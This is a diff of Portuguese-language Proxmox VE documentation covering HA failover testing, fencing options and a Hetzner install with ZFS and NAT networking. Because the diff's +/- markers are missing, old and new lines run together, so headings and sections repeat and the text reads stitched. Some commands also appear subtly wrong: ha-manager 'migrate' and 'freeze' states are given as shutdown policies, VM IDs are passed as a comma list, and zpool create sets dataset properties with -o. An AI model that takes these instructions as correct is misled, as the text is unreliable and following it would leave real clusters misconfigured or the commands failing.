- Em failover, ignora priority (vai para node disponível)
### Fase 3: Adicionar VMs a HA
### Fase 3: Add VMs to HA
**3.1 Adicionar VMs Críticas**
**Via Web UI:**
- Seleccionar VM → More → Manage HA
- Enable HA
- Group: critical
- Max restart: 3
- Max relocate: 2
**Via CLI:**
```bash
# VM 200 (EasyPanel Docker)
ha-manager add vm:200 \
@@ -208,317 +96,79 @@ ha-manager add vm:300 \
--state started
```
**Parâmetros:**
**Parametros:**
- `max_restart`: Tentativas restart no mesmo node antes de relocate
- `max_relocate`: Máximo relocates entre nodes
- `state started`: HA Manager garante VM está sempre started
- `max_relocate`: Maximo relocates entre nodes
- `state started`: HA Manager garante VM esta sempre started
**3.2 Verificar HA Resources**
```bash
# Verificar
ha-manager status
# Should show:
# vm:200: started on <node-name>
# vm:300: started on <node-name>
```
### Fase 4: Failover Testing
**4.1 Criar VM Teste HA**
```bash
# VM 999 para teste (não production)
qm create 999 --name ha-test --memory 512 --cores 1
Procedimentos detalhados de teste (shutdown clean, node crash simulado, live migration) e tuning de policies em: `references/failover-testing.md`
# Adicionar a HA
ha-manager add vm:999 --state started
```
### Fase 5: Production Rollout
**4.2 Testar Failover Automático**
Abordagem faseada (low -> medium -> critical) com monitorizacao de 30 dias.
**Teste 1: Shutdown Clean**
```bash
# Node onde VM 999 corre:
qm shutdown 999
Documentar runbook em: `06-Operacoes/Procedimentos/D7-Tecnologia/PROC-HA-Failover.md`
# HA Manager deve:
# 1. Detectar shutdown (~30s)
# 2. Tentar restart no mesmo node (max_restart vezes)
# 3. Se continua down → relocate para outro node
# Monitorizar
watch -n 1 'ha-manager status | grep vm:999'
```
**Teste 2: Node Crash (Simulado)**
```bash
# CUIDADO: Apenas em teste, não production
# Shutdown abrupto do node onde VM 999 corre
# (simula hardware failure)
echo b > /proc/sysrq-trigger # Reboot forçado
# Outro node deve:
# 1. Detectar node down via quorum (~1min)
# 2. Fence node (via watchdog/IPMI)
# 3. Boot VM 999 no node surviving
# Timeline esperado:
# - 0s: Node crash
# - ~60s: Quorum detecta node missing
# - ~90s: Fencing executado
# - ~120s: VM boota em outro node
# Total downtime: ~2-3min (sem shared storage)
# Com shared storage: ~30-60s
```
**4.3 Testar Live Migration Manual**
```bash
# Migration manual (com VM running)
qm migrate 999 <target-node-name> --online
# Com shared storage: <10s downtime
# Sem shared storage: copia disk = lento (GB/min)
# Para production VMs:
# - Fazer em janela manutenção se sem shared storage
# - Live migration OK se shared storage
```
### Fase 5: HA Policies & Tunning
**5.1 Configurar Shutdown Policy**
```bash
# Default: conditional (HA Manager decide)
# Opções: conditional, freeze, failover, migrate
# Para VMs críticas que NÃO devem migrar durante manutenção:
ha-manager set vm:200 --state freeze
# Para forçar migrate durante manutenção:
ha-manager set vm:200 --state migrate
```
**5.2 Maintenance Mode**
```bash
# Colocar node em maintenance (não recebe novos VMs HA)
ha-manager set-node-state <node-name> maintenance
# VMs HA existentes:
# - Não migram automaticamente
# - Mas não recebem novas em failover
# Sair de maintenance
ha-manager set-node-state <node-name> active
```
**5.3 Configurar Priorities (Load Balance)**
```bash
# Preferência de nodes por VM
# VM 200: Preferir Node B
ha-manager set vm:200 --group critical --restricted
# restricted: VM só corre nos nodes do grupo
# unrestricted: VM pode correr em qualquer node (fallback)
```
### Fase 6: Monitoring & Alerts
**6.1 HA Manager Logs**
```bash
# Logs HA Manager
journalctl -u pve-ha-lrm -f # Local Resource Manager
journalctl -u pve-ha-crm -f # Cluster Resource Manager
# Ver decisões de failover
grep "migrate\|relocate" /var/log/pve/tasks/index
```
**6.2 Configurar Alertas**
```bash
# Via Web UI: Datacenter → Notifications
# Email alerts para:
# - Node down
# - Quorum lost
# - VM failover events
# - Fencing executed
# SMTP: mail.descomplicar.pt
# To: admin@descomplicar.pt
```
**6.3 Monitorização Contínua**
```bash
# Script de monitoring (cron cada 5min)
#!/bin/bash
# /usr/local/bin/check-ha-health.sh
ha_status=$(ha-manager status | grep "quorum:" | awk '{print $2}')
if [ "$ha_status" != "OK" ]; then
echo "HA Quorum NOT OK" | mail -s "ALERT: HA Issue" admin@descomplicar.pt
fi
# Cron
# */5 * * * * /usr/local/bin/check-ha-health.sh
```
### Fase 7: Production Rollout
**7.1 Migrar VMs Production para HA**
**Phased approach:**
```bash
# Week 1: VMs não-críticas (teste)
ha-manager add vm:250 --group low
# Week 2: VMs médias (se Week 1 OK)
ha-manager add vm:201,202 --group medium
# Week 3: VMs críticas (se tudo OK)
ha-manager add vm:200,300 --group critical
```
**7.2 Documentar Runbook**
**Criar:** `06-Operacoes/Procedimentos/D7-Tecnologia/PROC-HA-Failover.md`
**Conteúdo:**
- Detectar failover event
- Validar VM booted corretamente
- Investigar causa node failure
- Restore node original
- Migrate VM back (se necessário)
## Output Summary
```
✅ HA configurado: Cluster descomplicar
🛡️ Fencing:
- Type: Watchdog (softdog)
- Nodes: 2 nodes configured
- Test: Successful ✓
📋 HA Groups:
- Critical (priority 100): 2 VMs
- Medium (priority 50): 0 VMs
- Low (priority 10): 0 VMs
🖥️ HA Resources:
- vm:200 (EasyPanel) - Critical
- vm:300 (CWP) - Critical
- Max restart: 3
- Max relocate: 2
⚡ Failover Tests:
✓ Clean shutdown → Auto restart
✓ Node crash → Relocate (~2min)
✓ Live migration → <10s downtime
📊 Expected Metrics:
- Detection time: ~60s
- Fencing time: ~30s
- Boot time: ~60-120s
- Total failover: ~2-3min (sem shared storage)
⚠️ Limitations (sem shared storage):
- Failover = boot time (não instant)
- Live migration copia disk (lento)
- Considerar shared storage futuro
🔔 Monitoring:
- Quorum check: cada 5min
- Alerts: Email admin@descomplicar.pt
- Logs: journalctl -u pve-ha-*
📋 Next Steps:
1. Monitorizar por 30 dias
2. Adicionar mais VMs a HA gradualmente
3. Considerar shared storage (NFS/Ceph)
4. Documentar procedures em PROC-HA-Failover.md
5. Treinar equipa em failover manual
⏱️ Configuration time: ~30min
```
---
## Best Practices
### DO
- Testar failover em VMs teste ANTES production
- Configurar fencing (watchdog mínimo, IPMI ideal)
- Monitorizar quorum 24/7
- Documentar runbooks failover
- ✅ Alerts email para eventos críticos
- ✅ Backup ANTES activar HA
**Fazer:**
- Testar failover em VMs teste ANTES production
- Configurar fencing (watchdog minimo, IPMI ideal)
- Monitorizar quorum 24/7
- Documentar runbooks failover
- Backup ANTES activar HA
### DON'T
- HA sem fencing (risco split-brain)
- max_relocate muito alto (VM fica "bouncing")
- Assumir instant failover sem shared storage
- Testar failover em production sem plano
- ❌ Ignorar quorum warnings
**Nao fazer:**
- HA sem fencing (risco split-brain)
- max_relocate muito alto (VM fica "bouncing")
- Assumir instant failover sem shared storage
- Testar failover em production sem plano
---
## Troubleshooting
### VM não failover
### VM nao failover
```bash
# Verificar HA enabled
ha-manager status | grep vm:ID
# Verificar quorum
pvecm status
# Verificar fencing functional
# (watchdog ou IPMI test)
# Logs
journalctl -u pve-ha-crm -f
```
### Split-brain detected
```bash
# CRITICAL: Ambos nodes pensam que são master
# Shutdown 1 node completamente
systemctl poweroff
# No node restante:
pvecm expected 1 # Force quorum com 1 node
# Resolver networking
# Rejoin node shutdown
# Resolver networking, rejoin node shutdown
```
### Failover loop (VM keeps restarting)
```bash
# VM falha → restart → falha → restart
# Verificar:
# 1. VM logs (qm log ID)
# 2. max_restart atingido?
# 3. Problema configuração VM?
# Pause HA temporário
# Pause HA temporario
ha-manager set vm:ID --state disabled
# Fix VM issue
# Re-enable HA
ha-manager set vm:ID --state started
```
---
## References
- `references/fencing-configuration.md` - Detalhes Watchdog, IPMI e Network fencing
- `references/failover-testing.md` - Testes, policies, monitoring, alertas, production rollout
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52
- **HA Manager Docs:** https://pve.proxmox.com/pve-docs/ha-manager.1.html
- **Fencing:** https://pve.proxmox.com/wiki/Fencing
---
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
---
**/** @author Descomplicar® | @copyright 2026 **/

View File

@@ -0,0 +1,185 @@
# Failover Testing - Proxmox HA
Procedimentos detalhados de teste de failover e monitoring.
---
## Criar VM Teste HA
```bash
# VM 999 para teste (nao production)
qm create 999 --name ha-test --memory 512 --cores 1
# Adicionar a HA
ha-manager add vm:999 --state started
```
## Teste 1: Shutdown Clean
```bash
# Node onde VM 999 corre:
qm shutdown 999
# HA Manager deve:
# 1. Detectar shutdown (~30s)
# 2. Tentar restart no mesmo node (max_restart vezes)
# 3. Se continua down -> relocate para outro node
# Monitorizar
watch -n 1 'ha-manager status | grep vm:999'
```
## Teste 2: Node Crash (Simulado)
```bash
# CUIDADO: Apenas em teste, nao production
# Shutdown abrupto do node onde VM 999 corre
# (simula hardware failure)
echo b > /proc/sysrq-trigger # Reboot forcado
# Outro node deve:
# 1. Detectar node down via quorum (~1min)
# 2. Fence node (via watchdog/IPMI)
# 3. Boot VM 999 no node surviving
# Timeline esperado:
# - 0s: Node crash
# - ~60s: Quorum detecta node missing
# - ~90s: Fencing executado
# - ~120s: VM boota em outro node
# Total downtime: ~2-3min (sem shared storage)
# Com shared storage: ~30-60s
```
## Teste 3: Live Migration Manual
```bash
# Migration manual (com VM running)
qm migrate 999 <target-node-name> --online
# Com shared storage: <10s downtime
# Sem shared storage: copia disk = lento (GB/min)
# Para production VMs:
# - Fazer em janela manutencao se sem shared storage
# - Live migration OK se shared storage
```
---
## HA Policies e Tuning
### Shutdown Policy
```bash
# Default: conditional (HA Manager decide)
# Opcoes: conditional, freeze, failover, migrate
# Para VMs criticas que NAO devem migrar durante manutencao:
ha-manager set vm:200 --state freeze
# Para forcar migrate durante manutencao:
ha-manager set vm:200 --state migrate
```
### Maintenance Mode
```bash
# Colocar node em maintenance (nao recebe novos VMs HA)
ha-manager set-node-state <node-name> maintenance
# VMs HA existentes:
# - Nao migram automaticamente
# - Mas nao recebem novas em failover
# Sair de maintenance
ha-manager set-node-state <node-name> active
```
### Priorities (Load Balance)
```bash
# Preferencia de nodes por VM
# VM 200: Preferir Node B
ha-manager set vm:200 --group critical --restricted
# restricted: VM so corre nos nodes do grupo
# unrestricted: VM pode correr em qualquer node (fallback)
```
---
## Monitoring e Alertas
### HA Manager Logs
```bash
# Logs HA Manager
journalctl -u pve-ha-lrm -f # Local Resource Manager
journalctl -u pve-ha-crm -f # Cluster Resource Manager
# Ver decisoes de failover
grep "migrate\|relocate" /var/log/pve/tasks/index
```
### Configurar Alertas
```bash
# Via Web UI: Datacenter -> Notifications
# Email alerts para:
# - Node down
# - Quorum lost
# - VM failover events
# - Fencing executed
# SMTP: mail.descomplicar.pt
# To: admin@descomplicar.pt
```
### Script Monitorizacao (cron cada 5min)
```bash
#!/bin/bash
# /usr/local/bin/check-ha-health.sh
ha_status=$(ha-manager status | grep "quorum:" | awk '{print $2}')
if [ "$ha_status" != "OK" ]; then
echo "HA Quorum NOT OK" | mail -s "ALERT: HA Issue" admin@descomplicar.pt
fi
# Cron
# */5 * * * * /usr/local/bin/check-ha-health.sh
```
---
## Production Rollout
Phased approach:
```bash
# Week 1: VMs nao-criticas (teste)
ha-manager add vm:250 --group low
# Week 2: VMs medias (se Week 1 OK)
ha-manager add vm:201,202 --group medium
# Week 3: VMs criticas (se tudo OK)
ha-manager add vm:200,300 --group critical
```
### Documentar Runbook
Criar: `06-Operacoes/Procedimentos/D7-Tecnologia/PROC-HA-Failover.md`
Conteudo:
- Detectar failover event
- Validar VM booted correctamente
- Investigar causa node failure
- Restore node original
- Migrate VM back (se necessario)

View File

@@ -0,0 +1,60 @@
# Fencing Configuration - Proxmox HA
Configuracao detalhada de fencing devices (STONITH) para High Availability.
---
## Opcao A: Watchdog (Software Fencing)
Mais simples, menos confiavel:
```bash
# Instalar watchdog em ambos nodes
apt install watchdog
# Load kernel module
modprobe softdog
# Auto-load on boot
echo "softdog" >> /etc/modules
# Configurar HA Manager para usar watchdog
# (automatico quando HA activado)
```
## Opcao B: IPMI/iLO (Hardware Fencing)
Mais confiavel, requer IPMI:
```bash
# Verificar IPMI disponivel
ipmitool lan print
# Configurar IPMI credentials (via BIOS ou ipmitool)
# Configurar em Proxmox (Web UI):
# Datacenter -> Fencing -> Add
# Type: IPMI
# IP: <node-ipmi-ip>
# Username: admin
# Password: <ipmi-pass>
# Test
fence_ipmilan -a <node-ipmi-ip> -l admin -p <pass> -o status
```
## Opcao C: Network Fencing (Menos Confiavel)
Usar apenas se IPMI nao disponivel:
```bash
# SSH-based fencing (perigoso)
# Depende de network estar up
# Nao recomendado para production
```
## Recomendacao Cluster Descomplicar
- **Inicio:** Watchdog (simple, funcional)
- **Producao:** IPMI se hardware suporta
- **Evitar:** Network fencing

View File

@@ -1,20 +1,11 @@
---
name: proxmox-setup
description: Instalação completa de Proxmox VE 8.x em Hetzner - installimage, ZFS RAID-1, NAT networking, vSwitch. Use when user mentions "proxmox install", "setup proxmox", "proxmox hetzner", "new proxmox node".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 75
user_invocable: true
desk_task: 1712
allowed-tools: Task, Read, Bash
dependencies:
- ssh-unified
- notebooklm
description: Instalacao completa de Proxmox VE 8.x em Hetzner -- installimage, ZFS RAID-1, NAT networking single-IP e vSwitch com optimizacoes.
---
# Proxmox Setup
Instalação completa e configuração de Proxmox VE 8.x em servidor dedicado Hetzner com ZFS RAID-1, networking NAT single-IP e optimizações.
Instalacao completa e configuracao de Proxmox VE 8.x em servidor dedicado Hetzner com ZFS RAID-1, networking NAT single-IP e optimizacoes.
## Quando Usar
@@ -22,7 +13,6 @@ Instalação completa e configuração de Proxmox VE 8.x em servidor dedicado He
- Setup inicial com ZFS mirror NVMe
- Configurar networking NAT para single-IP
- Preparar node para clustering futuro
- Aplicar Hetzner-specific gotchas e optimizações
## Sintaxe
@@ -30,19 +20,6 @@ Instalação completa e configuração de Proxmox VE 8.x em servidor dedicado He
/proxmox-setup <server-ip> <hostname> [--zfs-pool rpool] [--arc-max 16G] [--vswitch]
```
## Exemplos
```bash
# Setup básico single-IP NAT
/proxmox-setup 138.201.45.67 cluster.descomplicar.pt
# Setup com vSwitch (MTU 1400)
/proxmox-setup 138.201.45.67 cluster.descomplicar.pt --vswitch
# Custom ZFS ARC (para 64GB RAM)
/proxmox-setup 138.201.45.67 pve-node1.descomplicar.pt --arc-max 8G
```
## Knowledge Sources (Consultar SEMPRE)
### NotebookLM Proxmox Research
@@ -53,104 +30,35 @@ mcp__notebooklm__notebook_query \
```
### Hub Docs
- `/media/ealmeida/Dados/Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md`
- Módulo 1: Instalação (installimage, ZFS vs LVM, Kernel PVE)
- Módulo 2: Networking (NAT masquerading, vSwitch MTU 1400)
- `Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md`
---
## Workflow Completo
### Fase 1: Pre-Installation Checks
**1.1 Verificar Rescue Mode**
```bash
# Via SSH MCP
# Via SSH MCP - verificar Rescue Mode
mcp__ssh-unified__ssh_execute \
server:"hetzner-rescue" \
command:"uname -a && df -h"
# Expected: rescue kernel, /dev/md* present
```
**1.2 Consultar NotebookLM para Hardware Specs**
```bash
# Query: "hetzner installimage zfs raid configuration"
# Obter template correcto para specs do servidor
```
**1.3 Backup de Configuração Actual (se aplicável)**
```bash
ssh root@SERVER_IP "tar -czf /tmp/backup-configs.tar.gz /etc /root"
scp root@SERVER_IP:/tmp/backup-configs.tar.gz ~/backups/
```
Consultar NotebookLM para hardware specs e template correcto.
### Fase 2: installimage com ZFS RAID-1
**2.1 Criar Template installimage**
Detalhes completos do template installimage e configuracao ZFS em: `references/installimage-zfs.md`
Template base para 2x NVMe 1TB + HDD 16TB:
```bash
DRIVE1 /dev/nvme0n1
DRIVE2 /dev/nvme1n1
SWRAID 0
SWRAIDLEVEL 0
BOOTLOADER grub
HOSTNAME HOSTNAME_PLACEHOLDER
PART /boot ext3 1024M
PART lvm vg0 all
LV vg0 root / ext4 50G
LV vg0 swap swap swap 16G
LV vg0 tmp /tmp ext4 10G
LV vg0 home /home ext4 20G
IMAGE /root/images/Debian-bookworm-latest-amd64-base.tar.gz
```
**CRITICAL: Depois de boot, converter para ZFS:**
**2.2 Executar installimage**
```bash
# No Rescue Mode
installimage
# Seleccionar Debian 12 (Bookworm)
# Copiar template acima
# Salvar e confirmar
# Reboot automático
```
**2.3 Conversão para ZFS (Pós-Install)**
**IMPORTANTE:** installimage não suporta ZFS directamente. Workflow:
1. Instalar Debian 12 com LVM (installimage)
Resumo do workflow:
1. Instalar Debian 12 com LVM via installimage
2. Boot em Debian
3. Instalar ZFS + Proxmox
4. Migrar para ZFS pool (ou aceitar LVM para root, ZFS para VMs)
**Opção A: ZFS para VMs apenas (RECOMENDADO para Hetzner)**
```bash
# Criar ZFS pool em NVMe para VMs
zpool create -f \
-o ashift=12 \
-o compression=lz4 \
-o atime=off \
rpool mirror /dev/nvme0n1p3 /dev/nvme1n1p3
# Criar datasets
zfs create rpool/vm-disks
zfs create rpool/ct-volumes
```
**Opção B: ZFS root (AVANÇADO - requer reinstall manual)**
- Não suportado por installimage
- Requer particionamento manual + debootstrap
- Consultar: https://pve.proxmox.com/wiki/ZFS_on_Linux
**Recomendação para Cluster Descomplicar:** Opção A (LVM root, ZFS para VMs)
4. Criar ZFS pool para VMs (Opcao A recomendada: LVM root, ZFS para VMs)
### Fase 3: Proxmox VE 8.x Installation
**3.1 Configurar Repositórios Proxmox**
```bash
# Adicionar repo Proxmox
echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bookworm pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list
@@ -158,375 +66,86 @@ echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bookworm pve-no-su
# Adicionar key
wget https://enterprise.proxmox.com/debian/proxmox-release-bookworm.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg
# Update
# Update e instalar
apt update && apt full-upgrade
```
**3.2 Instalar Proxmox VE**
```bash
apt install proxmox-ve postfix open-iscsi chrony
```
**Configuração Postfix:**
- Seleccionar "Local only"
- System mail name: HOSTNAME
**3.3 Remover Kernel Debian (usar PVE kernel)**
```bash
# Verificar kernel actual
uname -r # Should be pve kernel
# Remover kernel Debian se boot em PVE kernel
# Remover kernel Debian (apos boot em PVE kernel)
apt remove linux-image-amd64 'linux-image-6.1*'
update-grub
```
**3.4 Reboot em Proxmox Kernel**
```bash
reboot
```
### Fase 4: ZFS Tuning (128GB RAM)
### Fase 4: ZFS Tuning
**4.1 Configurar ARC Limits**
```bash
# ARC max 16GB (deixa 110GB para VMs)
# ARC min 4GB
echo "options zfs zfs_arc_max=17179869184" >> /etc/modprobe.d/zfs.conf
echo "options zfs zfs_arc_min=4294967296" >> /etc/modprobe.d/zfs.conf
# Aplicar
update-initramfs -u -k all
```
**4.2 Optimizar ZFS para NVMe**
```bash
# Verificar ashift (deve ser 12 para NVMe 4K sectors)
zdb -C rpool | grep ashift
# Activar compression LZ4 (se ainda não)
zfs set compression=lz4 rpool
# Disable atime (performance)
zfs set atime=off rpool
# Snapshot visibility
zfs set snapdir=hidden rpool
```
**4.3 Criar ZFS Datasets para PBS (se HDD 16TB)**
```bash
# Dataset para PBS datastore
zfs create rpool/pbs-datastore
zfs set mountpoint=/mnt/pbs-datastore rpool/pbs-datastore
zfs set compression=lz4 rpool/pbs-datastore
zfs set dedup=off rpool/pbs-datastore
```
Detalhes em: `references/installimage-zfs.md` (seccao ZFS Tuning)
### Fase 5: Networking NAT (Single-IP Hetzner)
**5.1 Configurar /etc/network/interfaces**
Configuracao completa de NAT, port forwarding e vSwitch em: `references/networking-nat.md`
**Template para Single-IP NAT:**
```bash
auto lo
iface lo inet loopback
### Fase 6: Proxmox Web UI + Storage
# Interface física (verificar nome com 'ip a')
auto eno1
iface eno1 inet static
address SERVER_IP/32
gateway GATEWAY_IP
pointopoint GATEWAY_IP
# Bridge interna para VMs (NAT)
auto vmbr0
iface vmbr0 inet static
address 10.10.10.1/24
bridge-ports none
bridge-stp off
bridge-fd 0
# NAT masquerading
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
post-up iptables -t nat -A POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
post-down iptables -t nat -D POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
```
**CRITICAL Hetzner Gotchas:**
- Gateway /32 point-to-point (não /24 ou /26)
- IP e gateway podem estar em subnets diferentes
- Verificar IP real e gateway no Hetzner Robot
**5.2 Aplicar Networking**
```bash
# Test config
ifup --no-act vmbr0
# Apply
systemctl restart networking
# Verificar
ip a
ping -c 3 8.8.8.8
```
**5.3 Port Forwarding (Opcional - para expor VMs)**
```bash
# Exemplo: Redirecionar porta 8080 host → porta 80 VM 10.10.10.100
iptables -t nat -A PREROUTING -i eno1 -p tcp --dport 8080 -j DNAT --to 10.10.10.100:80
# Persistir com iptables-persistent
apt install iptables-persistent
iptables-save > /etc/iptables/rules.v4
```
### Fase 6: vSwitch Configuration (Opcional)
**Se --vswitch flag presente:**
**6.1 Configurar VLAN no Robot Panel**
- Hetzner Robot → vSwitch → Create VLAN
- Anotar VLAN ID (ex: 4000)
**6.2 Adicionar ao /etc/network/interfaces**
```bash
# vSwitch interface (MTU 1400 OBRIGATÓRIO)
auto enp7s0.4000
iface enp7s0.4000 inet manual
mtu 1400
# Bridge vSwitch
auto vmbr1
iface vmbr1 inet static
address 10.0.0.1/24
bridge-ports enp7s0.4000
bridge-stp off
bridge-fd 0
mtu 1400
```
**CRITICAL:** MTU 1400 não negociável para vSwitch Hetzner.
### Fase 7: Proxmox Web UI + Storage
**7.1 Aceder Web UI**
```
https://SERVER_IP:8006
User: root
Password: (root password do servidor)
```
**7.2 Remover Enterprise Repo (se no-subscription)**
```bash
# Comentar enterprise repo
sed -i 's/^deb/#deb/' /etc/apt/sources.list.d/pve-enterprise.list
# Verificar
apt update
```
**7.3 Configurar Storage no Web UI**
- Datacenter → Storage → Add
- **Directory:** Local (já existe)
- **ZFS:** rpool/vm-disks (para VMs)
- **PBS:** Adicionar PBS server (se já instalado)
Storage no Web UI: Datacenter -> Storage -> Add (Directory, ZFS, PBS).
### Fase 8: Validation Checklist
### Fase 7: Validation Checklist
**8.1 Verificações Técnicas**
```bash
# PVE version
pveversion -v
# ZFS status
zpool status
zpool list
zfs list
# Networking
ping -c 3 8.8.8.8
curl -I https://www.google.com
# Web UI
curl -k https://localhost:8006
# ARC stats
arc_summary | grep "ARC size"
pveversion -v # PVE version
zpool status # ZFS status
zpool list && zfs list
ping -c 3 8.8.8.8 # Networking
curl -k https://localhost:8006 # Web UI
arc_summary | grep "ARC size" # ARC stats
```
**8.2 Security Hardening**
**Security Hardening:**
```bash
# SSH: Disable root password (usar keys)
sed -i 's/#PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
systemctl restart sshd
# Firewall básico (opcional - configurar via Web UI depois)
pve-firewall start
```
**8.3 Criar VM Teste**
```bash
# Via CLI (ou Web UI)
qm create 100 \
--name test-vm \
--memory 1024 \
--cores 1 \
--net0 virtio,bridge=vmbr0 \
--ide2 local:iso/debian-12.iso,media=cdrom \
--bootdisk scsi0 \
--scsi0 rpool/vm-disks:10
# Start
qm start 100
# Verificar consegue aceder internet (NAT funcional)
```
## Output Summary
```
✅ Proxmox VE 8.x instalado: HOSTNAME
🖥️ Hardware:
- CPU: (detect)
- RAM: 128GB (ARC max 16GB, disponível 110GB para VMs)
- Storage: 2x 1TB NVMe ZFS RAID-1 + 16TB HDD
💾 Storage:
- ZFS pool: rpool (mirror)
- Compression: LZ4 (ratio ~1.5x)
- ARC: 4GB min, 16GB max
- Datasets: vm-disks, ct-volumes, pbs-datastore
🌐 Networking:
- Mode: NAT masquerading (single-IP)
- Internal subnet: 10.10.10.0/24
- Gateway: GATEWAY_IP (point-to-point)
[Se vSwitch] vSwitch VLAN 4000: 10.0.0.0/24 (MTU 1400)
🔐 Access:
- Web UI: https://SERVER_IP:8006
- SSH: root@SERVER_IP (key only)
- API: https://SERVER_IP:8006/api2/json
📋 Next Steps:
1. Configurar firewall via Web UI (Datacenter → Firewall)
2. Criar API token para Terraform (/pve-api-token)
3. Setup PBS (/pbs-config)
4. Criar Cloud-Init templates
5. Migrar workloads (/vm-migration)
6. [Futuro] Cluster formation (/proxmox-cluster)
⚠️ Hetzner Gotchas Applied:
✓ Gateway /32 point-to-point
✓ NAT masquerading (MAC filtering bypass)
✓ vSwitch MTU 1400 (se aplicável)
✓ ZFS ARC tuning
✓ PVE kernel (não Debian stock)
⏱️ Setup time: ~45min (vs 2h manual)
```
## Hetzner-Specific Gotchas (CRITICAL)
### 1. MAC Filtering
**Problema:** Bridged networking com MAC não registado = bloqueado
**Solução aplicada:** NAT masquerading (bypass MAC filtering)
**Alternativa:** Pedir virtual MAC no Robot panel (grátis)
### 2. Gateway Point-to-Point
**Problema:** Gateway fora da subnet do IP principal
**Solução:** `address IP/32` + `pointopoint GATEWAY` (não /24 ou /26)
### 3. vSwitch MTU 1400
**Problema:** vSwitch Hetzner requer MTU 1400 (não 1500 standard)
**Solução:** Forçar `mtu 1400` em vmbr1 e enp7s0.4000
### 4. ZFS vs LVM Trade-off
**Problema:** installimage não suporta ZFS root directo
**Solução:** LVM para root (compatibilidade), ZFS para VMs (performance)
### 5. Kernel PVE vs Debian
**Problema:** Kernel stock Debian não optimizado para virtualização
**Solução:** Instalar proxmox-ve + remover kernel Debian
---
## Troubleshooting
### Web UI não acessível
```bash
# Verificar serviço
systemctl status pveproxy
| Problema | Comando diagnostico |
|----------|-------------------|
| Web UI nao acessivel | `systemctl status pveproxy` + `journalctl -u pveproxy -f` |
| VMs sem internet (NAT) | `cat /proc/sys/net/ipv4/ip_forward` + `iptables -t nat -L -n -v` |
| ZFS ARC nao limita | `cat /sys/module/zfs/parameters/zfs_arc_max` |
| vSwitch MTU issues | `ping -M do -s 1372 10.0.0.2` |
# Logs
journalctl -u pveproxy -f
---
# Firewall
iptables -L -n -v | grep 8006
```
## Quando NAO Usar
### VMs sem internet (NAT)
```bash
# Verificar IP forwarding
cat /proc/sys/net/ipv4/ip_forward # Should be 1
- Para servidores non-Hetzner (diferentes gotchas de networking)
- Para Proxmox ja instalado (usar outras skills de config)
- Para troubleshooting (criar skill especifica)
# Verificar iptables NAT
iptables -t nat -L -n -v
# Re-aplicar regras
ifdown vmbr0 && ifup vmbr0
```
### ZFS ARC não limita
```bash
# Verificar configs
cat /sys/module/zfs/parameters/zfs_arc_max
# Re-aplicar
modprobe -r zfs
modprobe zfs
```
### vSwitch MTU issues
```bash
# Forçar MTU em todas interfaces
ip link set enp7s0.4000 mtu 1400
ip link set vmbr1 mtu 1400
# Test
ping -M do -s 1372 10.0.0.2 # 1372 = 1400 - 28 (headers)
```
---
## References
- `references/installimage-zfs.md` - Template installimage, conversao ZFS, tuning ARC
- `references/networking-nat.md` - NAT single-IP, port forwarding, vSwitch, gotchas Hetzner
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52 (150+ fontes)
- **Guia Definitivo:** Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md
- **Proxmox Docs:** https://pve.proxmox.com/pve-docs/pve-admin-guide.html
- **Hetzner Docs:** https://docs.hetzner.com/robot/dedicated-server/
---
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
## Metadata (Desk CRM Task #1712)
```
Projeto: Cluster Proxmox Descomplicar (#65)
Tarefa: Migração Infraestrutura para Cluster Proxmox HA (#1712)
Milestone: TBD
Tags: proxmox, pve, hetzner, zfs, networking, instalacao
Status: Research → Implementation
```
---
**/** @author Descomplicar® | @link descomplicar.pt | @copyright 2026 **/
---
## Quando NÃO Usar
- Para servidores non-Hetzner (diferentes gotchas de networking)
- Para Proxmox já instalado (usar outras skills de config)
- Para troubleshooting (criar skill específica)
Projecto: Cluster Proxmox Descomplicar (#65) | Tarefa: #1712

View File

@@ -0,0 +1,112 @@
# installimage e ZFS - Proxmox Hetzner
Detalhes de instalacao via installimage e configuracao ZFS.
---
## Template installimage
Template base para 2x NVMe 1TB + HDD 16TB:
```bash
DRIVE1 /dev/nvme0n1
DRIVE2 /dev/nvme1n1
SWRAID 0
SWRAIDLEVEL 0
BOOTLOADER grub
HOSTNAME HOSTNAME_PLACEHOLDER
PART /boot ext3 1024M
PART lvm vg0 all
LV vg0 root / ext4 50G
LV vg0 swap swap swap 16G
LV vg0 tmp /tmp ext4 10G
LV vg0 home /home ext4 20G
IMAGE /root/images/Debian-bookworm-latest-amd64-base.tar.gz
```
## Executar installimage
```bash
# No Rescue Mode
installimage
# Seleccionar Debian 12 (Bookworm)
# Copiar template acima
# Salvar e confirmar
# Reboot automatico
```
## Conversao para ZFS (Pos-Install)
**IMPORTANTE:** installimage nao suporta ZFS directamente. Workflow:
1. Instalar Debian 12 com LVM (installimage)
2. Boot em Debian
3. Instalar ZFS + Proxmox
4. Migrar para ZFS pool (ou aceitar LVM para root, ZFS para VMs)
### Opcao A: ZFS para VMs apenas (RECOMENDADO para Hetzner)
```bash
# Criar ZFS pool em NVMe para VMs
zpool create -f \
-o ashift=12 \
-o compression=lz4 \
-o atime=off \
rpool mirror /dev/nvme0n1p3 /dev/nvme1n1p3
# Criar datasets
zfs create rpool/vm-disks
zfs create rpool/ct-volumes
```
### Opcao B: ZFS root (AVANCADO - requer reinstall manual)
- Nao suportado por installimage
- Requer particionamento manual + debootstrap
- Consultar: https://pve.proxmox.com/wiki/ZFS_on_Linux
**Recomendacao para Cluster Descomplicar:** Opcao A (LVM root, ZFS para VMs)
---
